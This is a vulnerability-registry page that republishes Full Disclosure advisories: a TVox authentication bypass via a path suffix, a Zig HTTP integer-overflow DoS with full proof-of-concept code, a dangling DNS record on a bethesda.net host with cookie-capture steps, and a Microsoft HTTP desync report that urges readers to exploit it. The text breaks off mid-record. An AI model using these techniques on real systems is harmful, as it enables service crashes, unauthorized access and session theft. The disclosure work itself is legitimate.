- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
387 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0061
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-07 13:20
VLAI
EPSS
VEX
Title
[KIS-2026-14] Telenia Software TVox <= 26.5.3 (set_env.php) Authentication Bypass Vulnerability
Summary
---------------------------------------------------------------------------------
Telenia Software TVox <= 26.5.3 (set_env.php) Authentication Bypass
Vulnerability
---------------------------------------------------------------------------------
[-] Software Link:
https://www.teleniasoftware.com
[-] Affected Versions:
Version 26.5.3 and prior 26.x versions.
Version 24.9.21 and prior 24.x versions.
Older versions may be affected as well.
[-] Vulnerability Description:
The vulnerable code is located within the
/opt/telenia/tvox/php/siti/t-vox/manager/set_env.php script. Specifically,
into the redirectToLoginAdminIRequestHaveAccessToken() function:
293. function redirectToLoginAdminIRequestHaveAccessToken($force = false) {
294. $current_page = str_replace("/", "", strrchr($_SERVER['PHP_SELF'],
"/"));
295. if ($current_page != "login_admin.php") {
296. $request_uri = $_SERVER["REQUEST_URI"];
297. $accessToken = @trim($force ? $_REQUEST["access_token"] :
$_GET["access_token"]);
298.
299. if ($accessToken !== "" && (!isset($_SESSION["wso2auth"]) || (
isset($_SESSION["wso2auth"]) && $_SESSION["wso2auth"]->accessToken !==
trim($accessToken)) )) {
300. $force = true;
301. if (@trim($_GET["access_token"]) != "") {
302. $parsedUrl = parse_url($request_uri);
303. $parsedUrl["query"] =
query_string_exclude(array('access_token'), $_GET);
304. if ($parsedUrl["query"] != "") {
305. $request_uri = $parsedUrl["path"] . "?" .
$parsedUrl["query"];
306. }
307. }
308. }
309.
310. if ($force) {
311. $_SESSION["request_uri"] = $request_uri;
312. unset($_REQUEST["access_token"]);
313. $_SESSION['requestSave'] = $_REQUEST;
314. header("Location: /tvox/manager/html/login_admin.php" . (
$accessToken === "" ? "" : "?access_token=" . $accessToken ));
315. exit;
316. }
317. }
318. }
This function is invoked to verify whether the user is already
authenticated. If the user is not authenticated, execution reaches line
314, where the user is redirected to the login page, and it terminates at
line 315 via an exit statement. The issue is that this authentication check
is only enforced when the value of the $current_page variable differs from
"login_admin.php" (line 295). Since $current_page is populated using the
value of $_SERVER['PHP_SELF'] (at line 294), an attacker can bypass the
authentication check by simply appending the string "/login_admin.php" to
the path of the target PHP script. As a result, the application incorrectly
treats the request as if it were targeting the login page, allowing
unauthenticated access to all PHP scripts exposed under the
/tvox/manager/html/ path.
[-] Proof of Concept:
https://karmainsecurity.com/pocs/tvox_root_rce.php
[-] Solution:
No official solution is currently available.
[-] Disclosure Timeline:
[22/05/2026] - Vendor was contacted, no response
[26/05/2026] - Vendor was notified about this vulnerability, no response
[27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,
no response
[26/06/2026] - Vendor was contacted again along with CSIRT Italy, no
response from CSIRT
[08/07/2026] - First vendor response, asking for vulnerability details
[09/07/2026] - Vulnerability details safely provided to the vendor
[20/07/2026] - Vendor was contacted again, asking for an update
[21/07/2026] - Vendor replied a security patch will be released by the end
of July
[21/07/2026] - CVE identifier requested
[21/07/2026] - CVE identifier assigned
[27/07/2026] - Reached 60-day disclosure deadline, still no official
solution
[03/08/2026] - Public disclosure
[-] CVE Reference:
CVE-2026-64827 has been assigned to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2026-14
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Telenia Software TVox |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Telenia Software TVox",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Egidio Romano"
}
],
"descriptions": [
{
"lang": "en",
"value": "---------------------------------------------------------------------------------\nTelenia Software TVox \u003c= 26.5.3 (set_env.php) Authentication Bypass\nVulnerability\n---------------------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://www.teleniasoftware.com\n\n\n[-] Affected Versions:\n\nVersion 26.5.3 and prior 26.x versions.\nVersion 24.9.21 and prior 24.x versions.\nOlder versions may be affected as well.\n\n\n[-] Vulnerability Description:\n\nThe vulnerable code is located within the\n/opt/telenia/tvox/php/siti/t-vox/manager/set_env.php script. Specifically,\ninto the redirectToLoginAdminIRequestHaveAccessToken() function:\n\n293. function redirectToLoginAdminIRequestHaveAccessToken($force = false) {\n294. $current_page = str_replace(\"/\", \"\", strrchr($_SERVER[\u0027PHP_SELF\u0027],\n\"/\"));\n295. if ($current_page != \"login_admin.php\") {\n296. $request_uri = $_SERVER[\"REQUEST_URI\"];\n297. $accessToken = @trim($force ? $_REQUEST[\"access_token\"] :\n$_GET[\"access_token\"]);\n298.\n299. if ($accessToken !== \"\" \u0026\u0026 (!isset($_SESSION[\"wso2auth\"]) || (\nisset($_SESSION[\"wso2auth\"]) \u0026\u0026 $_SESSION[\"wso2auth\"]-\u003eaccessToken !==\ntrim($accessToken)) )) {\n300. $force = true;\n301. if (@trim($_GET[\"access_token\"]) != \"\") {\n302. $parsedUrl = parse_url($request_uri);\n303. $parsedUrl[\"query\"] =\nquery_string_exclude(array(\u0027access_token\u0027), $_GET);\n304. if ($parsedUrl[\"query\"] != \"\") {\n305. $request_uri = $parsedUrl[\"path\"] . \"?\" .\n$parsedUrl[\"query\"];\n306. }\n307. }\n308. }\n309.\n310. if ($force) {\n311. $_SESSION[\"request_uri\"] = $request_uri;\n312. unset($_REQUEST[\"access_token\"]);\n313. $_SESSION[\u0027requestSave\u0027] = $_REQUEST;\n314. header(\"Location: /tvox/manager/html/login_admin.php\" . (\n$accessToken === \"\" ? \"\" : \"?access_token=\" . $accessToken ));\n315. exit;\n316. }\n317. }\n318. }\n\nThis function is invoked to verify whether the user is already\nauthenticated. If the user is not authenticated, execution reaches line\n314, where the user is redirected to the login page, and it terminates at\nline 315 via an exit statement. The issue is that this authentication check\nis only enforced when the value of the $current_page variable differs from\n\"login_admin.php\" (line 295). Since $current_page is populated using the\nvalue of $_SERVER[\u0027PHP_SELF\u0027] (at line 294), an attacker can bypass the\nauthentication check by simply appending the string \"/login_admin.php\" to\nthe path of the target PHP script. As a result, the application incorrectly\ntreats the request as if it were targeting the login page, allowing\nunauthenticated access to all PHP scripts exposed under the\n/tvox/manager/html/ path.\n\n\n[-] Proof of Concept:\n\nhttps://karmainsecurity.com/pocs/tvox_root_rce.php\n\n\n[-] Solution:\n\nNo official solution is currently available.\n\n\n[-] Disclosure Timeline:\n\n[22/05/2026] - Vendor was contacted, no response\n[26/05/2026] - Vendor was notified about this vulnerability, no response\n[27/05/2026] - Vendor was notified about 60-day disclosure deadline policy,\nno response\n[26/06/2026] - Vendor was contacted again along with CSIRT Italy, no\nresponse from CSIRT\n[08/07/2026] - First vendor response, asking for vulnerability details\n[09/07/2026] - Vulnerability details safely provided to the vendor\n[20/07/2026] - Vendor was contacted again, asking for an update\n[21/07/2026] - Vendor replied a security patch will be released by the end\nof July\n[21/07/2026] - CVE identifier requested\n[21/07/2026] - CVE identifier assigned\n[27/07/2026] - Reached 60-day disclosure deadline, still no official\nsolution\n[03/08/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nCVE-2026-64827 has been assigned to this vulnerability.\n\n\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-14\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T13:20:21Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/30"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/30"
},
{
"url": "https://karmainsecurity.com/KIS-2026-14"
},
{
"url": "https://karmainsecurity.com/pocs/tvox_root_rce.php"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.teleniasoftware.com"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/30"
],
"discovery": "EXTERNAL"
},
"title": "[KIS-2026-14] Telenia Software TVox \u003c= 26.5.3 (set_env.php) Authentication Bypass Vulnerability",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0061",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/30",
"automated": true,
"contentSha256": "db796cc3baba52f714319d385500cac70859e39161a1b0031005a3f55d87eb2a",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/30",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-03T07:28:02Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-07T13:20:21Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0061"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0047
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-07 13:20
VLAI
EPSS
VEX
Title
Zig std.http chunked reader integer overflow -> unauthenticated remote DoS
Summary
Agent Spooky’s Fun Parade hereby reports, with the solemnity of a raccoon presenting a subpoena, an integer-overflow
panic in Zig’s std.http chunked request-body reader. In Zig 0.16.0 and master commit 8f7febfa6f59,
Reader.chunkedReadEndless and Reader.chunkedDiscardEndless compute cp.chunk_len + 2 - n after ChunkParser.feed has
accepted chunk lengths up to 0xffffffffffffffff. Unfortunately, the downstream arithmetic only remains safe for
chunk_len <= maxInt(u64) - 2, meaning chunk sizes fffffffffffffffe and ffffffffffffffff are valid enough to enter the
temple and cursed enough to set it on fire.¹
The practical effect is unauthenticated remote denial of service against std.http.Server users that read or discard
request bodies. A single HTTP/1.1 request with Transfer-Encoding: chunked and first chunk-size line fffffffffffffffe
reaches the checked u64 addition; in Debug and ReleaseSafe this produces panic: integer overflow and aborts the
worker/process. In ReleaseFast/ReleaseSmall the same expression wraps instead, corrupting chunk-length tracking rather
than producing the neat educational corpse we get in safe builds. Our in-process PoC drives the real std.http.Server
over fixed buffers and reproduces the panic at /usr/lib/zig/std/http.zig:586, which is convenient because nothing says
“systems programming” like having your HTTP parser defeated by two bytes of conceptual optimism.
// poc.zig — build: `zig build-exe poc.zig` (Debug) ; run: `./poc`
const std = @import("std");
const http = std.http;
pub fn main() !void {
const body = "A" ** 300; // ≥ read-buffer so the read is buffer-bounded, not EOF-bounded
const request_bytes =
"POST /upload HTTP/1.1\r\n" ++
"Host: victim\r\n" ++
"Transfer-Encoding: chunked\r\n" ++
"\r\n" ++
"fffffffffffffffe\r\n" ++ // chunk-size = 0xFFFF_FFFF_FFFF_FFFE = 2^64 - 2
body;
var in = std.Io.Reader.fixed(request_bytes);
var out_buf: [4096]u8 = undefined;
var out = std.Io.Writer.fixed(&out_buf);
var server = http.Server.init(&in, &out);
var request = try server.receiveHead(); // Head.parse accepts TE:chunked
var transfer_buf: [256]u8 = undefined;
const br = try request.readerExpectContinue(&transfer_buf);
var dst: [256]u8 = undefined;
_ = try br.readSliceShort(&dst); // -> panic at http.zig:586}
Root cause: the parser accepts the full [0, 2^64-1] chunk-size domain while the reader silently assumes [0, 2^64-3].
Suggested fix is to reject any parsed chunk length above std.math.maxInt(u64) - 2 in ChunkParser.feed, or preferably
impose a sane implementation maximum far below “the heat death of RAM.” Separately, Request.Head.parse should reject
requests containing both Content-Length and Transfer-Encoding per RFC 7230 §3.3.3, because accepting both and letting
chunked win is how one accidentally becomes a boutique smuggling-adjacent artisan.²
CWE-190, secondary CWE-1284, tertiary CWE-617. CVSS v3.0: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.
Confidentiality and integrity are not demonstrated; availability loss is the show, the whole show, and the clown car it
arrived in.
¹ “Valid enough to enter, cursed enough to set it on fire” is not yet an IETF term, but we are submitting an erratum to
reality.² Footnote ² exists only to prove the report has layers, like an onion, or a parser state machine written
during a thunderstorm.
Cheers!
Agent Spooky's Fun Parade
[agent-spooky-1.png]
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Jul/0 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Zig std.http chunked |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Zig std.http chunked",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Agent Spooky\u0027s Fun Parade via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Agent Spooky\u2019s Fun Parade hereby reports, with the solemnity of a raccoon presenting a subpoena, an integer-overflow \npanic in Zig\u2019s std.http chunked request-body reader. In Zig 0.16.0 and master commit 8f7febfa6f59, \nReader.chunkedReadEndless and Reader.chunkedDiscardEndless compute cp.chunk_len + 2 - n after ChunkParser.feed has \naccepted chunk lengths up to 0xffffffffffffffff. Unfortunately, the downstream arithmetic only remains safe for \nchunk_len \u003c= maxInt(u64) - 2, meaning chunk sizes fffffffffffffffe and ffffffffffffffff are valid enough to enter the \ntemple and cursed enough to set it on fire.\u00b9\n\nThe practical effect is unauthenticated remote denial of service against std.http.Server users that read or discard \nrequest bodies. A single HTTP/1.1 request with Transfer-Encoding: chunked and first chunk-size line fffffffffffffffe \nreaches the checked u64 addition; in Debug and ReleaseSafe this produces panic: integer overflow and aborts the \nworker/process. In ReleaseFast/ReleaseSmall the same expression wraps instead, corrupting chunk-length tracking rather \nthan producing the neat educational corpse we get in safe builds. Our in-process PoC drives the real std.http.Server \nover fixed buffers and reproduces the panic at /usr/lib/zig/std/http.zig:586, which is convenient because nothing says \n\u201csystems programming\u201d like having your HTTP parser defeated by two bytes of conceptual optimism.\n\n// poc.zig \u2014 build: `zig build-exe poc.zig` (Debug) ; run: `./poc`\nconst std = @import(\"std\");\nconst http = std.http;\n\npub fn main() !void {\nconst body = \"A\" ** 300; // \u2265 read-buffer so the read is buffer-bounded, not EOF-bounded\nconst request_bytes =\n\"POST /upload HTTP/1.1\\r\\n\" ++\n\"Host: victim\\r\\n\" ++\n\"Transfer-Encoding: chunked\\r\\n\" ++\n\"\\r\\n\" ++\n\"fffffffffffffffe\\r\\n\" ++ // chunk-size = 0xFFFF_FFFF_FFFF_FFFE = 2^64 - 2\nbody;\n\nvar in = std.Io.Reader.fixed(request_bytes);\nvar out_buf: [4096]u8 = undefined;\nvar out = std.Io.Writer.fixed(\u0026out_buf);\n\nvar server = http.Server.init(\u0026in, \u0026out);\nvar request = try server.receiveHead(); // Head.parse accepts TE:chunked\n\nvar transfer_buf: [256]u8 = undefined;\nconst br = try request.readerExpectContinue(\u0026transfer_buf);\nvar dst: [256]u8 = undefined;\n_ = try br.readSliceShort(\u0026dst); // -\u003e panic at http.zig:586}\n\n\nRoot cause: the parser accepts the full [0, 2^64-1] chunk-size domain while the reader silently assumes [0, 2^64-3]. \nSuggested fix is to reject any parsed chunk length above std.math.maxInt(u64) - 2 in ChunkParser.feed, or preferably \nimpose a sane implementation maximum far below \u201cthe heat death of RAM.\u201d Separately, Request.Head.parse should reject \nrequests containing both Content-Length and Transfer-Encoding per RFC 7230 \u00a73.3.3, because accepting both and letting \nchunked win is how one accidentally becomes a boutique smuggling-adjacent artisan.\u00b2\n\nCWE-190, secondary CWE-1284, tertiary CWE-617. CVSS v3.0: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.\nCVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.\nConfidentiality and integrity are not demonstrated; availability loss is the show, the whole show, and the clown car it \narrived in.\n\n\u00b9 \u201cValid enough to enter, cursed enough to set it on fire\u201d is not yet an IETF term, but we are submitting an erratum to \nreality.\u00b2 Footnote \u00b2 exists only to prove the report has layers, like an onion, or a parser state machine written \nduring a thunderstorm.\n\nCheers!\n\nAgent Spooky\u0027s Fun Parade\n\n[agent-spooky-1.png]\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1284",
"description": "CWE-1284",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-190",
"description": "CWE-190",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-617",
"description": "CWE-617",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T13:20:21Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/0"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jul/0"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jul/0"
],
"discovery": "EXTERNAL"
},
"title": "Zig std.http chunked reader integer overflow -\u003e unauthenticated remote DoS",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0047",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/0",
"automated": true,
"contentSha256": "ee9275e5051b4ddd56cb304c6e6cc465817417ee75fe1a18379408ee5024c147",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/0",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-06-29T01:17:59Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-07T13:20:21Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0047"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0019
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-07 13:20
VLAI
EPSS
VEX
Title
Dangling DNS record for bastion.certb.cdp.bethesda.net
Summary
# Summary
The hostname resolved to an address within a dynamic cloud IP pool.
The address had been released and was no longer controlled by the
organisation operating the hostname.
This condition is referred to as an "afterlife" issue.
Unlike a conventional CNAME-based subdomain takeover, the DNS record
pointed directly to a reusable cloud IP address. An attacker obtaining
that address could receive traffic intended for the Microsoft-owned
hostname and serve content from it.
I reported the issue to the Microsoft Security Response Center as:
VULN-198489
MSRC closed the report as a non-MSRC case, because the IP address was
not in Azure. Doh.
# Vulnerability
Persistent dangling DNS record to a reusable cloud IP address.
CWE-16: Configuration
# Impact
Impact includes:
* obtaining trusted TLS certificates for the affected hostname;
* serving attacker-controlled content from a trusted hostname;
* receiving traffic intended for the previous service;
* exposure of cookies, bearer tokens or session identifiers;
* exposure of request bodies, API keys or webhook payloads;
* abuse of CORS, OAuth or other domain-based allowlists;
* abuse of same-site cookie and browser trust relationships; and
* phishing or malware hosted under the organisation's domain.
## Proof of Concept (PoC)
1. open a browser and navigate to
`https://bastion.certb.cdp.bethesda.net`
2. an `afterlife` holding page will be served from the affected
hostname
3. observe that the browser reports a valid trusted TLS certificate
for the affected hostname
4. navigate to `https://crt.sh/?q=bastion.certb.cdp.bethesda.net`
and observe that a new Let's Encrypt certificate has been issued
(may require a few refreshes as over-subscribed)
5. navigate to `https://bethesda.net/` and login (create an account
if required)
6. navigate to `https://bastion.certb.cdp.bethesda.net/request.txt`
and observe that the full request is displayed, along with the
domain scoped cookies that were received
# Vendor response and timeline
30 June 2026
I submitted the report as VULN-198489.
The portal did not assign an MSRC case number. The recorded status was
"Complete - NA".
MSRC's rejected the issue as outside MSRC's scope, because the IP was
not in Azure.
# References
* MSRC submission VULN-198489
* CWE-16: Configuration
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
8 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Dangling DNS record |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Dangling DNS record",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "shed riot"
}
],
"descriptions": [
{
"lang": "en",
"value": "# Summary\n\nThe hostname resolved to an address within a dynamic cloud IP pool.\nThe address had been released and was no longer controlled by the\norganisation operating the hostname.\n\nThis condition is referred to as an \"afterlife\" issue.\n\nUnlike a conventional CNAME-based subdomain takeover, the DNS record\npointed directly to a reusable cloud IP address. An attacker obtaining\nthat address could receive traffic intended for the Microsoft-owned\nhostname and serve content from it.\n\nI reported the issue to the Microsoft Security Response Center as:\nVULN-198489\n\nMSRC closed the report as a non-MSRC case, because the IP address was\nnot in Azure. Doh.\n\n\n# Vulnerability\n\nPersistent dangling DNS record to a reusable cloud IP address.\nCWE-16: Configuration\n\n\n# Impact\n\nImpact includes:\n\n* obtaining trusted TLS certificates for the affected hostname;\n* serving attacker-controlled content from a trusted hostname;\n* receiving traffic intended for the previous service;\n* exposure of cookies, bearer tokens or session identifiers;\n* exposure of request bodies, API keys or webhook payloads;\n* abuse of CORS, OAuth or other domain-based allowlists;\n* abuse of same-site cookie and browser trust relationships; and\n* phishing or malware hosted under the organisation\u0027s domain.\n\n\n## Proof of Concept (PoC)\n\n1. open a browser and navigate to\n `https://bastion.certb.cdp.bethesda.net`\n2. an `afterlife` holding page will be served from the affected\n hostname\n3. observe that the browser reports a valid trusted TLS certificate\n for the affected hostname\n4. navigate to `https://crt.sh/?q=bastion.certb.cdp.bethesda.net`\n and observe that a new Let\u0027s Encrypt certificate has been issued\n (may require a few refreshes as over-subscribed)\n5. navigate to `https://bethesda.net/` and login (create an account\n if required)\n6. navigate to `https://bastion.certb.cdp.bethesda.net/request.txt`\n and observe that the full request is displayed, along with the\n domain scoped cookies that were received\n\n\n# Vendor response and timeline\n\n30 June 2026\n\nI submitted the report as VULN-198489.\n\nThe portal did not assign an MSRC case number. The recorded status was\n\"Complete - NA\".\n\nMSRC\u0027s rejected the issue as outside MSRC\u0027s scope, because the IP was\nnot in Azure.\n\n\n# References\n\n* MSRC submission VULN-198489\n* CWE-16: Configuration\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-16",
"description": "CWE-16",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-07T13:20:20Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/35"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/35"
},
{
"url": "https://bastion.certb.cdp.bethesda.net/request.txt`"
},
{
"url": "https://bastion.certb.cdp.bethesda.net`"
},
{
"url": "https://bethesda.net/`"
},
{
"url": "https://crt.sh/?q=bastion.certb.cdp.bethesda.net`"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/35"
],
"discovery": "EXTERNAL"
},
"title": "Dangling DNS record for bastion.certb.cdp.bethesda.net",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0019",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/35",
"automated": true,
"contentSha256": "0bb12a8a2f62ec5315cb65d2653f08b92fa3d56f9fb83b993e49fd47900a5ea1",
"evidenceScore": 8,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/35",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-07-24T09:43:16Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:20Z",
"dateUpdated": "2026-09-07T13:20:20Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0019"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0018
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-07 13:20
VLAI
EPSS
VEX
Title
CL.0 desync in www.microsoft.com
Summary
# Summary
I reported the issue to the Microsoft Security Response Center twice:
* VULN-165381, MSRC case 102964
* VULN-165876, MSRC case 103259
In both cases, they do not appear to have even looked at the PoCs, and so
have failed to adequately investigate before reaching a decision.
# Vulnerability
CWE-444: HTTP Request/Response Smuggling
The observed behaviour was consistent with CL.0 HTTP desync within the
request-processing chain.
# Impact
HTTP desync can cause attacker-controlled bytes to be interpreted as
the beginning of another request on a shared back-end connection.
Depending on routing and connection reuse, this vulnerability class
can potentially be used to:
* alter or prefix another user's request;
* redirect users to attacker-controlled content;
* deliver reflected or stored client-side payloads;
* poison application or intermediary responses; or
* disclose information associated with another request or user.
I deliberately limited testing to a non-destructive proof of concept.
I did not attempt to deliver an active payload to unrelated Microsoft
users or extract their data.
Testing a desync issue against production infrastructure can affect
third-party requests. A fully weaponised test would therefore have
created an unacceptable risk to legitimate users.
# Proof of concept
The supplied proof of concept used two independent clients.
The attacker client submitted a crafted request containing bytes
after the declared request body.
The victim client then made an ordinary request.
The attacker-controlled content was subsequently observed in the
victim-side transaction.
The result demonstrated cross-request interference, rather than an
unusual response confined to the attacker's own connection.
The second submission also included screenshots, as MSRC couldn't
be arsed to run the PoCs themselves.
# Timeline
26 October 2025
I submitted the initial report as VULN-165381 and uploaded separate
exploit and victim scripts.
27 October 2025
MSRC opened case 102964.
29 October 2025
MSRC requested a video and asked which internal component was
affected.
30 October 2025
I explained that a video would only show the supplied scripts running.
Microsoft would need to trace the crafted request through its own
application stack to identify where it was split.
I also asked whether MSRC had run the scripts.
31 October 2025
MSRC closed the case as "not a vulnerability".
4 November 2025
I submitted the issue again as VULN-165876, including the scripts and
screenshots showing the attacker, victim and successful result.
5 November 2025
MSRC opened case 103259.
10 November 2025
MSRC stated that it required a proof of concept "demonstrating an
exploit", despite the scripts already having been supplied. The
responses indicate that the proof of concept had not been run.
18 November 2025
I asked whether MSRC had run and validated the proof of concept.
19 November 2025
Microsoft closed the second case, stating:
"You have not submitted sufficient evidence of HTTP desync. You have
only provided 2 shell scripts and no other information confirming that
the exploit works."
The second submission also contained screenshots demonstrating the
attacker, victim and successful result.
20 November 2025
I challenged the assessment and pointed out that the proof of concept
displayed the issue clearly, and that both reports appeared to have
been closed without MSRC running the PoC.
MSRC maintained its position and requested a copy of the disclosure
draft for technical review.
# Resolution
Microsoft closed both reports and stated that it would not track the
issue further. At no point do they appear to have run any of the
supplied PoC scripts.
The vuln still exists, and isn't difficult to find for someone
willing to scan the site. Fill your boots!
# References
* MSRC submission VULN-165381, case 102964
* MSRC submission VULN-165876, case 103259
* CWE-444: HTTP Request/Response Smuggling
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Aug/34 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | CL.0 desync in |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "CL.0 desync in",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
